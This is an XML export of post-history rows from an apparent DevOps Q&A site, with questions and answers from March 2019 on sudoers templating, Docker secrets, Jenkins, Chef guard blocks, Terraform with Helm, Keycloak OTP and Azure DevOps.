  <row Id="20806" PostHistoryTypeId="5" PostId="4743" RevisionGUID="b9928b74-5c36-41fb-affb-87046f5c9c05" CreationDate="2019-03-06T17:41:17.493" UserId="40" Comment="added 2 characters in body" Text="### Firstly&#xD;&#xA; &#xD;&#xA;you should refer to Jinja handling of spaces/newlines. your current template would create new lines, And I think this will confuse `sudo` and fail syntax validation (IIRC, the right syntax is to add `-` like: `-%}` at the for loop, but you should &quot;play&quot; and see what happens). To render a template you can do it on your workstation, without running it on actual target machine.&#xD;&#xA;&#xD;&#xA;Also, I think creating the template with 1 command at instruction line is more readable:&#xD;&#xA;&#xD;&#xA;    {% for command in commands %}&#xD;&#xA;    %{{group}} ALL=(ALL) NOPASSWD: {{command}}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;### Secondly&#xD;&#xA;&#xD;&#xA;I do not recommend to edit existing global files with ansible. Instead create your custom template under `/etc/sudoers.d/` (like you've mentioned you saw).&#xD;&#xA;&#xD;&#xA;This is the right way to do it, because:&#xD;&#xA;&#xD;&#xA; - the system will have all defaults as is.&#xD;&#xA; - your template will be far shorter.&#xD;&#xA; - if you do mistakes, you would be sure where to look - in your template.&#xD;&#xA;&#xD;&#xA;### Thirdly&#xD;&#xA;&#xD;&#xA;I think executing `which` inside `sudoers` is an original idea, but should not work." ContentLicense="CC BY-SA 4.0" />
  <row Id="20811" PostHistoryTypeId="5" PostId="6512" RevisionGUID="1e47a61e-d6a0-48f9-8fbc-5971b6e4dce5" CreationDate="2019-03-07T00:16:46.837" UserId="7770" Comment="update with quote from jdog" Text="This represents a misunderstanding of when Lambda code is loaded.&#xD;&#xA;&#xD;&#xA;AWS Lambda does **not** download a copy of the code from S3 every time a function is executed. Instead, Lambda has its own internal storage that is updated when invoking `CreateFunction` or `UpdateFunctionCode` either through the API or the Console.&#xD;&#xA;&#xD;&#xA;_Update with further clarification from jdog:_&#xD;&#xA;&#xD;&#xA;&gt; Lambda is never given access to S3 buckets -- the user or role that runs CreateFunction is." ContentLicense="CC BY-SA 4.0" />
  <row Id="20817" PostHistoryTypeId="2" PostId="6547" RevisionGUID="5fc74784-d5d8-4972-9b7f-013df03b5146" CreationDate="2019-03-07T13:05:51.817" UserId="12774" Text="There is another option only using pipe:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;docker run -d -i --name $n alpine sh -c 'read A; echo &quot;[$A]&quot;; exec some-server'&#xD;&#xA;docker exec -i $n sh -c 'cat &gt; /proc/1/fd/0' &lt;&lt;&lt; _a_secret_&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;First, create the docker daemon with `-i`, the command `read A` will hang waiting for the input from `/proc/1/fd/0`;&#xD;&#xA;Then run the second docker command, reading the secret from stdin and redirect to the last hanging process." ContentLicense="CC BY-SA 4.0" />
  <row Id="20818" PostHistoryTypeId="2" PostId="6548" RevisionGUID="feec26d2-027d-4f6c-9827-9a0d56d5a895" CreationDate="2019-03-07T13:07:40.903" UserId="12128" Text="I am doing a Micro-services application hosted in AWS to be accessed via Amazon API Gateway by end-users from several organisations worldwide. I am hoping to use KeyCloak as User Authentication Server (2FA). Keycloak will generate a JWT token for the authenticated user and pass the JWT token to the AWS API Gateway to authorise access to the micro services.  &#xD;&#xA;&#xD;&#xA;Keycloak will be hosted in an AWS Public VPC subnet. In addition, I will have PrivacyIdea as OTP code generator and dispatcher in another subnet or maybe the same subnet in the same VPC. I will also have an Email Gateway in same or another VPC subnet. &#xD;&#xA;&#xD;&#xA;Privacy Idea will generate the OPC codes, probably using HOTP and dispatch them via the Email gateway to the users mailbox. The user's corporate email address will be setup in PrivacyIdea. These same users will be setup up in Keycloak. My idea is that somehow  the PrivacyIdea-generated and emailed OTP codes will be inputed by the users along with their login-ID and password into a Keycloak-generated login form, which will then authenticate the user.&#xD;&#xA;&#xD;&#xA;Keycloak as authentication server and the use of Emailed OTP codes is an architectural choice that I have no room to change.&#xD;&#xA;&#xD;&#xA;My problem is that Keycloak only directly supports Google Authenticator or FreeOTP mobile SMS or application based OTP; hence my having to introduce PrivacyIdea and an Email Gateway. Can anyone kindly provide me any technical guidance or experience on how the OTP seeding and communication of OTP codes from PrivacyIdea or OTP database sharing can be done. &#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="20819" PostHistoryTypeId="1" PostId="6548" RevisionGUID="feec26d2-027d-4f6c-9827-9a0d56d5a895" CreationDate="2019-03-07T13:07:40.903" UserId="12128" Text="KeyCloak, PrivacyIdea and Email Gateway" ContentLicense="CC BY-SA 4.0" />
  <row Id="20820" PostHistoryTypeId="3" PostId="6548" RevisionGUID="feec26d2-027d-4f6c-9827-9a0d56d5a895" CreationDate="2019-03-07T13:07:40.903" UserId="12128" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20822" PostHistoryTypeId="2" PostId="6550" RevisionGUID="dc9322fb-7a91-4423-ad59-d5f6e2885966" CreationDate="2019-03-07T13:58:42.330" UserId="7646" Text="I'll add a very concrete issue that we actually run into. It's a sideeffect of bad architecture that we're suffering currently:&#xD;&#xA;&#xD;&#xA;Since our build is large and we need to load a lot of dependencies simply putting it all together takes a very long time. We should have long since divided the build up into numerous small builds as an approach to a microservice architecture instead of one large monolith.&#xD;&#xA;&#xD;&#xA;Running all tests for the monolith takes around 45 minutes and blocks our CI environment for the time being.&#xD;&#xA;&#xD;&#xA;Since it's so load intensive and takes such a long time it's currently impossible for us to run multiple builds parallel to each other.&#xD;&#xA;&#xD;&#xA;So, as posters before me have already stated on a more theoretical level, this should showcase some potential (and likely) side-implications a large build usually has outside of needing more space on the harddrive." ContentLicense="CC BY-SA 4.0" />
  <row Id="20823" PostHistoryTypeId="2" PostId="6551" RevisionGUID="01b25f2a-531d-48e8-9c85-cebc0458f944" CreationDate="2019-03-07T14:43:09.170" UserId="7646" Text="After some more research I found the answer:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;      def coreImageTags = input(&#xD;&#xA;        id: 'coreImageTags', message: 'Enter a comma separated list of additional tags for the image (0.0.1,some-tagname,etc):?', &#xD;&#xA;        parameters: [&#xD;&#xA;          [$class: 'StringParameterDefinition', defaultValue: 'None', description: 'List of tags', name: 'coreImageTagsList'],&#xD;&#xA;        ]&#xD;&#xA;      )&#xD;&#xA;&#xD;&#xA;      echo (&quot;Image tags: &quot;+coreImageTags)&#xD;&#xA;&#xD;&#xA;**Important note**&#xD;&#xA;&#xD;&#xA;It is stated in the documentation but I want to point it out specifically: If you copy/paste my solution here, `coreImageTags` will contain a string directly. If you do multiple parameters like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        parameters: [&#xD;&#xA;          [$class: 'StringParameterDefinition', defaultValue: 'None', description: 'List of tags', name: 'coreImageTagsList'],&#xD;&#xA;          [$class: 'StringParameterDefinition', defaultValue: 'None', description: 'Something else', name: 'somethingElse'],&#xD;&#xA;        ]&#xD;&#xA;&#xD;&#xA;You will not get a single values but an array of values:&#xD;&#xA;&#xD;&#xA;      echo (&quot;Image tags: &quot;+coreImageTags['coreImageTagsList'])&#xD;&#xA;      echo (&quot;Image tags: &quot;+coreImageTags['somethingElse'])&#xD;&#xA;&#xD;&#xA;The following posts will help:&#xD;&#xA;&#xD;&#xA;[stackoverflow.com read-interactive-input-in-jenkins-pipeline-to-a-variable][1]&#xD;&#xA;&#xD;&#xA;[CloudBees - Pipeline-How-to-manage-user-inputs][2]&#xD;&#xA;&#xD;&#xA;A list of classes you can use in this way and what they do is in the Jenkins Input-Step documentation:&#xD;&#xA;[Pipeline - Input Step][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/47080683/read-interactive-input-in-jenkins-pipeline-to-a-variable&#xD;&#xA;  [2]: https://support.cloudbees.com/hc/en-us/articles/204986450-Pipeline-How-to-manage-user-inputs&#xD;&#xA;  [3]: https://jenkins.io/doc/pipeline/steps/pipeline-input-step/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20829" PostHistoryTypeId="2" PostId="6552" RevisionGUID="1d52d692-f200-4630-aea9-0ca7685593d4" CreationDate="2019-03-07T16:09:26.330" UserId="12778" Text="I want my pipeline created using Blue Ocean (Jenkins) to build with a dockerfile that is not in the root of the git repo. How do I achieve this?&#xD;&#xA;&#xD;&#xA;Our git repo is a collection of sub-projects with each containing it's own dockerfile. So we cannot place them in the root directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="20830" PostHistoryTypeId="1" PostId="6552" RevisionGUID="1d52d692-f200-4630-aea9-0ca7685593d4" CreationDate="2019-03-07T16:09:26.330" UserId="12778" Text="How do i specify the path of a Dockerfile using Blue Ocean" ContentLicense="CC BY-SA 4.0" />
  <row Id="20831" PostHistoryTypeId="3" PostId="6552" RevisionGUID="1d52d692-f200-4630-aea9-0ca7685593d4" CreationDate="2019-03-07T16:09:26.330" UserId="12778" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;dockerfile&gt;&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20836" PostHistoryTypeId="5" PostId="6154" RevisionGUID="f5231e66-9776-44d0-a880-a0e31778f6ce" CreationDate="2019-03-08T01:42:59.573" UserId="11793" Comment="Code edited for easy readability" Text="According to Chef's two pass model any code inside ruby-block, guard blocks and lazy are executed only during run time i.e. execution phase.&#xD;&#xA;&#xD;&#xA;I have a recipe with three resources.&#xD;&#xA;&#xD;&#xA;Variables whose values are assigned during compile phase.&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Cookbook:: test_cookbook&#xD;&#xA;    # Recipe:: check-vpn-ip&#xD;&#xA;    #&#xD;&#xA;    # Copyright:: 2019, The Authors, All Rights Reserved.&#xD;&#xA;&#xD;&#xA;    #Getting the IP address using the ruby's Socket class.&#xD;&#xA;    require 'socket'&#xD;&#xA;    require 'down'&#xD;&#xA;    require 'net/http'&#xD;&#xA;&#xD;&#xA;    conf = `hostname`.chomp&#xD;&#xA;    vpn_ip_list = Socket.ip_address_list.select{ |ip| ip.ip_address.match(/^10.12/) }&#xD;&#xA;    !vpn_ip_list.empty? ? ip_addr = vpn_ip_list.first.ip_address : ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;1st resource - Checks if desired VPN IP address is assigned using code in guard block and if not assigned downloads the conf file and notifies 2nd service resource to restart openvpn. The values for variables inside guard block are obtained during compiled phase.&#xD;&#xA;&#xD;&#xA;    ruby_block 'download_openvpn_conf' do&#xD;&#xA;	block do &#xD;&#xA;		attempt = 2&#xD;&#xA;		begin&#xD;&#xA;			retries ||= 0&#xD;&#xA;			tempfile = Down.download(&quot;http://some-url1/#{conf}&quot;,max_redirects: 0)&#xD;&#xA;			FileUtils.mv tempfile.path, &quot;#{node['openvpn-conf-path']}/#{tempfile.original_filename}&quot;&#xD;&#xA;			FileUtils.chmod 0644, &quot;#{node['openvpn-conf-path']}/#{tempfile.original_filename}&quot;&#xD;&#xA;		rescue Down::Error =&gt; e&#xD;&#xA;			node.run_state['error'] = e.to_s&#xD;&#xA;			puts e&#xD;&#xA;			Chef::Log.warn (&quot;\n \t ***********#{e}***********&quot;)&#xD;&#xA;			retry if (retries += 1) &lt; 1&#xD;&#xA;		end	&#xD;&#xA;	end&#xD;&#xA;	only_if {vpn_ip_list.size.eql?(0) || vpn_ip_list.size &gt;= 2}&#xD;&#xA;	action :run&#xD;&#xA;	notifies :restart, 'service[openvpn]', :immediately&#xD;&#xA;	notifies :delete, &quot;file[#{node['openvpn-conf-path']}/#{conf}]&quot;, :before&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;2nd resource - Restarts the openvpn service. By this time the VPN IP is assigned to system.&#xD;&#xA;&#xD;&#xA;    service 'openvpn' do&#xD;&#xA;	supports :status =&gt; true, :restart =&gt; true, :start =&gt; true, :stop =&gt; true&#xD;&#xA;	action :nothing&#xD;&#xA;	Chef::Log.info (&quot;\n \t *********Restarting OPEN-VPN*********&quot;)&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Since the above service is executed during the converge phase, the VPN ip address should have been assigned based on the downloaded configuration file. &#xD;&#xA;&#xD;&#xA;3rd resource - If the VPN IP is not assigned by the time of execution of 2nd resource, this places a request for new vpn conf file.&#xD;&#xA;&#xD;&#xA;    ruby_block 'manual_vpn' do&#xD;&#xA;	block do&#xD;&#xA;		if node.run_state['error'] == &quot;file not found&quot;&#xD;&#xA;			Chef::Log.info (&quot;\n \t ******** VPN IP has not been assigned. File may be corrupted &amp; initiating re-run********&quot;)&#xD;&#xA;			uri = URI.parse(&quot;http://some-url2=#{host}&amp;action=create&quot;)&#xD;&#xA;			Chef::Log.info (uri)&#xD;&#xA;			http = Net::HTTP.new(uri.host,uri.port)&#xD;&#xA;			request = Net::HTTP::Get.new(uri.request_uri)&#xD;&#xA;			response = http.request(request)&#xD;&#xA;			case response.body&#xD;&#xA;			when &quot;error&quot;&#xD;&#xA;				Chef::Log.info (&quot;\n \t Website reported an Error. Config for the given serial number could have already been generated&quot;)&#xD;&#xA;			when &quot;Request for vpn successfully added.&quot;	&#xD;&#xA;				Chef::Log.warn (&quot;\n \t **** Inside response processing =&gt; Request Accepted **&quot;)&#xD;&#xA;				Chef::Log.warn (&quot;\n \t *** New vpn config request has been accepted. Waiting for 3 minutes ***&quot;)&#xD;&#xA;				sleep 180&#xD;&#xA;			else&#xD;&#xA;				Chef::Log.info (&quot;\n \t Nothing to do - Extra option for future&quot;)	&#xD;&#xA;			end	&#xD;&#xA;		else &#xD;&#xA;			puts &quot;Config file exists and hence not downloading&quot;&#xD;&#xA;		end		&#xD;&#xA;	end	&#xD;&#xA;	notifies :run, 'ruby_block[re-download-vpn-conf]', :delayed&#xD;&#xA;	only_if { Socket.ip_address_list.select{ |ip| ip.ip_address.match(/^10.12/) }.size.eql?(0) }&#xD;&#xA;	not_if {node.run_state['error'].eql?(&quot;too many redirects&quot;)}&#xD;&#xA;    end	&#xD;&#xA;&#xD;&#xA;The VPN IP assigned is checked by the code in guard block `only_if { Socket.ip_address_list.select{ |ip| ip.ip_address.match(/^10.12/) }.size.eql?(0) }` and is supposed to be executed only at run time. By the end of 2nd resource execution the VPN IP is assigned for sure but code inside the above guard could not detect it.&#xD;&#xA;&#xD;&#xA;I have used Pry debugger at the end of recipe within a test ruby block to verify that IP is assigned post the execution of 2nd service restart resource. Wondering why code inside the guard block of Chef is not able to detect the VPN assigned by the previous resource execution." ContentLicense="CC BY-SA 4.0" />
  <row Id="20837" PostHistoryTypeId="4" PostId="6154" RevisionGUID="f5231e66-9776-44d0-a880-a0e31778f6ce" CreationDate="2019-03-08T01:42:59.573" UserId="11793" Comment="Code edited for easy readability" Text="Chef - ruby code inside guard block not executed at run time" ContentLicense="CC BY-SA 4.0" />
  <row Id="20838" PostHistoryTypeId="6" PostId="6154" RevisionGUID="f5231e66-9776-44d0-a880-a0e31778f6ce" CreationDate="2019-03-08T01:42:59.573" UserId="11793" Comment="Code edited for easy readability" Text="&lt;chef&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20839" PostHistoryTypeId="50" PostId="6227" RevisionGUID="e2e7ced8-74b3-4824-844f-cd10dff59b7e" CreationDate="2019-03-08T05:01:35.417" UserId="-1" />
  <row Id="20840" PostHistoryTypeId="50" PostId="6218" RevisionGUID="298d9693-0181-4860-97c8-ccb242473749" CreationDate="2019-03-08T06:01:30.277" UserId="-1" />
  <row Id="20842" PostHistoryTypeId="2" PostId="6554" RevisionGUID="6938c6d2-26f8-4e9e-bbef-f2735d1b11f4" CreationDate="2019-03-08T07:30:22.110" UserId="10712" Text="I have a Jenkins job with string parameter as target &quot;server1,server2&quot;. Jenkins pipeline script is expected to execute the job on server1 and server2 respectively.&#xD;&#xA;There is a common salt sls file that updates directory permissions and groups on both servers. The expectation is when the job is executed on server1, a group by name xx-server1-yy must be created and updated in server1, similarly a group xx-server2-yy be created in server2 only.&#xD;&#xA;One sls file for Jenkins job on multiple servers with groups created specific to each server. What is the best approach?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20843" PostHistoryTypeId="1" PostId="6554" RevisionGUID="6938c6d2-26f8-4e9e-bbef-f2735d1b11f4" CreationDate="2019-03-08T07:30:22.110" UserId="10712" Text="How to assign saltstack pillar values from Jenkins comma separated input parameters?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20844" PostHistoryTypeId="3" PostId="6554" RevisionGUID="6938c6d2-26f8-4e9e-bbef-f2735d1b11f4" CreationDate="2019-03-08T07:30:22.110" UserId="10712" Text="&lt;jenkinsfile&gt;&lt;salt&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20845" PostHistoryTypeId="50" PostId="6188" RevisionGUID="113a04b8-cf04-4e5a-ad60-e080c3b29388" CreationDate="2019-03-08T08:01:40.333" UserId="-1" />
  <row Id="20846" PostHistoryTypeId="8" PostId="6154" RevisionGUID="da8e2b8b-d3e3-478c-b1d2-70aa0077e8bc" CreationDate="2019-03-08T08:23:44.827" UserId="13" Comment="Rollback to [5872e5f9-8359-49e3-842d-3b3a2f089e9c]" Text="I am creating a recipe that has two resources. The initial VPN IP address is a empty valued string. Upon execution of the first resource, a IP address within the range 10.12.xx.xx is set. Then a second resource is executed with a guard block that checks for the VPN IP. &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Cookbook:: test_cookbook&#xD;&#xA;    # Recipe:: check-vpn-ip&#xD;&#xA;    #&#xD;&#xA;    # Copyright:: 2019, The Authors, All Rights Reserved.&#xD;&#xA;&#xD;&#xA;    #Getting the IP address using the ruby's Socket class.&#xD;&#xA;&#xD;&#xA;    ip_list = Socket.ip_address_list&#xD;&#xA;    vpn_ip_list = ip_list.select{ |ip| ip.ip_address.match(/^10.12/) }&#xD;&#xA;    !vpn_ip_list.empty? ? ip_addr = vpn_ip_list.first.ip_address : ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;    execute 'manually_start_open_vpn' do&#xD;&#xA;	command &quot;sudo openvpn #{node['openvpn-conf-path']}/#{host}.conf &amp;&quot;&#xD;&#xA;	action :nothing&#xD;&#xA;	only_if {ip_addr.length.eql?(0)}&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    new_ip_list = Socket.ip_address_list&#xD;&#xA;	new_vpn_ip_list = new_ip_list.select{ |ip| &#xD;&#xA;                                       ip.ip_address.match(/^10.12/) }&#xD;&#xA;	!new_vpn_ip_list.empty? ? newvpn_ip_addr = &#xD;&#xA;                    new_vpn_ip_list.first.ip_address : newvpn_ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;    ruby_block 'chat-bot' do&#xD;&#xA;	   block do&#xD;&#xA;			machine_data = {text: &quot;OpenVPN IP not assigned to #{host} &#xD;&#xA;                software_version: 18.4.4 \n This is a test message please &#xD;&#xA;                  ignore @all&quot;}.to_json	&#xD;&#xA;			header = {'Content-Type': 'text/json'}&#xD;&#xA;			http = Net::HTTP.new(google_chat_uri.host, &#xD;&#xA;                       google_chat_uri.port)&#xD;&#xA;			http.use_ssl = true&#xD;&#xA;			request = Net::HTTP::Post.new(google_chat_uri.request_uri, header)&#xD;&#xA;			request.body = machine_data&#xD;&#xA;			response = http.request(request)&#xD;&#xA;	    end	&#xD;&#xA;&#xD;&#xA;       end&#xD;&#xA;	only_if {newvpn_ip_addr.length.eql?(0)}&#xD;&#xA;	action :nothing&#xD;&#xA;    end	&#xD;&#xA;&#xD;&#xA;Since there is no vpn ip address of the range 10.12.xx.xx during compile phase, the value of `ip_addr.length.eql?(0)` is true and the guard block condition in first resource is satisfied and it's executed.&#xD;&#xA;&#xD;&#xA;As the vpn ip has already been assigned, the `newvpn_ip_addr.length.eql?(0)` should be false and the 2nd ruby block should not be executed. But this returns a false value as the code `newvpn_ip_addr` is executed during compile time itself.&#xD;&#xA;&#xD;&#xA;Is there any way to make sure that the value for `newvpn_ip_addr` in the below code is assigned and checked during the execution phase post the execution of first resource?&#xD;&#xA;&#xD;&#xA;        new_ip_list = Socket.ip_address_list&#xD;&#xA;	    new_vpn_ip_list = new_ip_list.select{ |ip| &#xD;&#xA;                                       ip.ip_address.match(/^10.12/) }&#xD;&#xA;	    !new_vpn_ip_list.empty? ? newvpn_ip_addr = &#xD;&#xA;                    new_vpn_ip_list.first.ip_address : newvpn_ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So that the guard block in 2nd resource is not executed if the expected IP address is not assigned.&#xD;&#xA;`only_if {newvpn_ip_addr.length.eql?(0)}`" ContentLicense="CC BY-SA 4.0" />
  <row Id="20847" PostHistoryTypeId="7" PostId="6154" RevisionGUID="da8e2b8b-d3e3-478c-b1d2-70aa0077e8bc" CreationDate="2019-03-08T08:23:44.827" UserId="13" Comment="Rollback to [5872e5f9-8359-49e3-842d-3b3a2f089e9c]" Text="Chef - assign a value to variable in execution or converge phase" ContentLicense="CC BY-SA 4.0" />
  <row Id="20848" PostHistoryTypeId="9" PostId="6154" RevisionGUID="da8e2b8b-d3e3-478c-b1d2-70aa0077e8bc" CreationDate="2019-03-08T08:23:44.827" UserId="13" Comment="Rollback to [5872e5f9-8359-49e3-842d-3b3a2f089e9c]" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20849" PostHistoryTypeId="2" PostId="6555" RevisionGUID="46b01c82-81eb-4e50-bdc1-65f7e40037dd" CreationDate="2019-03-08T08:50:37.393" UserId="9632" Text="I have been trying to install Helm charts using Terraform in a cluster which operates in GKE. My question is in two parts:&#xD;&#xA;&#xD;&#xA; 1. Is it a good practice to use Terraform for installing Helm charts?&#xD;&#xA; 2. I have been getting this error when Terraform tries to install a Helm chart:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    helm_release.release_name: Get https://XX.XXX.XX.X/apis/extensions/v1beta1/namespaces/kube-system/deployments/tiller-deploy: dial tcp XX.XXX.XX.X:443: connect: connection refused&#xD;&#xA;&#xD;&#xA;Here is how I am configuring the Helm chart:&#xD;&#xA;&#xD;&#xA;    provider &quot;kubernetes&quot; {&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;      host     = &quot;${var.cluster-host}&quot;&#xD;&#xA;      username = &quot;${var.cluster-username}&quot;&#xD;&#xA;      password = &quot;${var.cluster-password}&quot;&#xD;&#xA;    &#xD;&#xA;      client_certificate     = &quot;${base64decode(var.cluster-client-cert)}&quot;&#xD;&#xA;      client_key             = &quot;${base64decode(var.cluster-client-key)}&quot;&#xD;&#xA;      cluster_ca_certificate = &quot;${base64decode(var.cluster-ca-certificate)}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;kubernetes_service_account&quot; &quot;tiller&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name      = &quot;tiller&quot;&#xD;&#xA;        namespace = &quot;kube-system&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;kubernetes_cluster_role_binding&quot; &quot;tiller&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name = &quot;tiller&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      role_ref {&#xD;&#xA;        api_group = &quot;rbac.authorization.k8s.io&quot;&#xD;&#xA;        kind      = &quot;ClusterRole&quot;&#xD;&#xA;        name      = &quot;cluster-admin&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      # api_group has to be empty because of a bug:&#xD;&#xA;      # https://github.com/terraform-providers/terraform-provider-kubernetes/issues/204&#xD;&#xA;      subject {&#xD;&#xA;        api_group = &quot;&quot;&#xD;&#xA;        kind      = &quot;ServiceAccount&quot;&#xD;&#xA;        name      = &quot;tiller&quot;&#xD;&#xA;        namespace = &quot;kube-system&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provider &quot;helm&quot; {&#xD;&#xA;      install_tiller  = true&#xD;&#xA;      service_account = &quot;tiller&quot;&#xD;&#xA;      namespace       = &quot;kube-system&quot;&#xD;&#xA;      kubernetes {&#xD;&#xA;          host     = &quot;${var.cluster-host}&quot;&#xD;&#xA;          username = &quot;${var.cluster-username}&quot;&#xD;&#xA;          password = &quot;${var.cluster-password}&quot;&#xD;&#xA;    &#xD;&#xA;          client_certificate     = &quot;${base64decode(var.cluster-client-cert)}&quot;&#xD;&#xA;          client_key             = &quot;${base64decode(var.cluster-client-key)}&quot;&#xD;&#xA;          cluster_ca_certificate = &quot;${base64decode(var.cluster-ca-certificate)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20850" PostHistoryTypeId="1" PostId="6555" RevisionGUID="46b01c82-81eb-4e50-bdc1-65f7e40037dd" CreationDate="2019-03-08T08:50:37.393" UserId="9632" Text="Installing helm charts using Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="20851" PostHistoryTypeId="3" PostId="6555" RevisionGUID="46b01c82-81eb-4e50-bdc1-65f7e40037dd" CreationDate="2019-03-08T08:50:37.393" UserId="9632" Text="&lt;terraform&gt;&lt;helm&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20852" PostHistoryTypeId="50" PostId="6069" RevisionGUID="014b0c02-ed39-4599-b7d4-f5b4af04e058" CreationDate="2019-03-08T09:01:55.457" UserId="-1" />
  <row Id="20853" PostHistoryTypeId="2" PostId="6556" RevisionGUID="18f30ea5-2840-42d5-9797-17b84f9397da" CreationDate="2019-03-08T11:33:49.690" UserId="11126" Text="In answer to part 2 (maybe), it does seem like they're pitching it as an alternative to Jenkins, although there's plenty of documentation suggesting that it can all be [used together][1]. When used with Jenkins though, it does seem to be more focussed on a deployment bridge. I was hoping that I could use it as a build agent with Jenkins as an orchestrator, like I could do with Jenkins &amp; AWS CodeBuild.&#xD;&#xA;I haven't *seen* anything to suggest I could do so yet, but maybe...&#xD;&#xA;Multi-cloud deployments is very intriguing though...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/integrate-jenkins-pipelines-cicd?view=azure-devops&amp;tabs=yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="20854" PostHistoryTypeId="5" PostId="6556" RevisionGUID="cca6adcc-906c-449f-92e7-bdb7d7503124" CreationDate="2019-03-08T11:39:27.377" UserId="11126" Comment="added 103 characters in body" Text="In answer to part 2 (maybe), it does seem like they're pitching it as an alternative to Jenkins, although there's plenty of documentation suggesting that it can all be [used together][1] (and [here][2]). When used with Jenkins though, it does seem to be more focussed on a deployment bridge. I was hoping that I could use it as a build agent with Jenkins as an orchestrator, like I could do with Jenkins &amp; AWS CodeBuild.&#xD;&#xA;I haven't *seen* anything to suggest I could do so yet, but maybe...&#xD;&#xA;Multi-cloud deployments is very intriguing though...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/integrate-jenkins-pipelines-cicd?view=azure-devops&amp;tabs=yaml&#xD;&#xA;  [2]: https://www.dragonspears.com/blog/ci-cd-with-jenkins-and-azure-devops-services" ContentLicense="CC BY-SA 4.0" />
  <row Id="20855" PostHistoryTypeId="50" PostId="6261" RevisionGUID="c2707f14-f3a3-4ae4-953c-c18fcadbcd91" CreationDate="2019-03-08T12:01:40.323" UserId="-1" />
  <row Id="20856" PostHistoryTypeId="2" PostId="6557" RevisionGUID="40f5685d-9fa4-4c3c-a224-08d966d91b25" CreationDate="2019-03-08T21:19:38.077" UserId="12800" Text="Today I received an error when trying to clone test plans in Azure DevOps web portal. &#xD;&#xA;Steps:&#xD;&#xA;&#xD;&#xA;1. In Visual Studio, I select the Test Case option&#xD;&#xA;&#xD;&#xA;2. I find the Test Plan I want to clone, select it , and then select the &quot;Clone test plan&quot; button.&#xD;&#xA;&#xD;&#xA;3. In the &quot;Clone Test Plan&quot; window, accept all defaults and click Clone.&#xD;&#xA;&#xD;&#xA;Result: an error is received: &quot;Clone operation encountered a WorkItem Tracking error while processing test case xxxx. Retry the operation. Error details: TF51535: Cannot find field 25.&quot;&#xD;&#xA;&#xD;&#xA;It is extremely unfortunate that this issue happened today while I am trying to clone a large test plan. I will have to manually copy the hundreds of tests in order to have the new test plan ready for Monday morning." ContentLicense="CC BY-SA 4.0" />
  <row Id="20857" PostHistoryTypeId="1" PostId="6557" RevisionGUID="40f5685d-9fa4-4c3c-a224-08d966d91b25" CreationDate="2019-03-08T21:19:38.077" UserId="12800" Text="WorkItem Tracking error when performing clone operation in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="20858" PostHistoryTypeId="3" PostId="6557" RevisionGUID="40f5685d-9fa4-4c3c-a224-08d966d91b25" CreationDate="2019-03-08T21:19:38.077" UserId="12800" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20859" PostHistoryTypeId="50" PostId="6267" RevisionGUID="62c38f1e-3a6f-4ca1-9935-e95f08ef7ecf" CreationDate="2019-03-08T23:02:25.853" UserId="-1" />
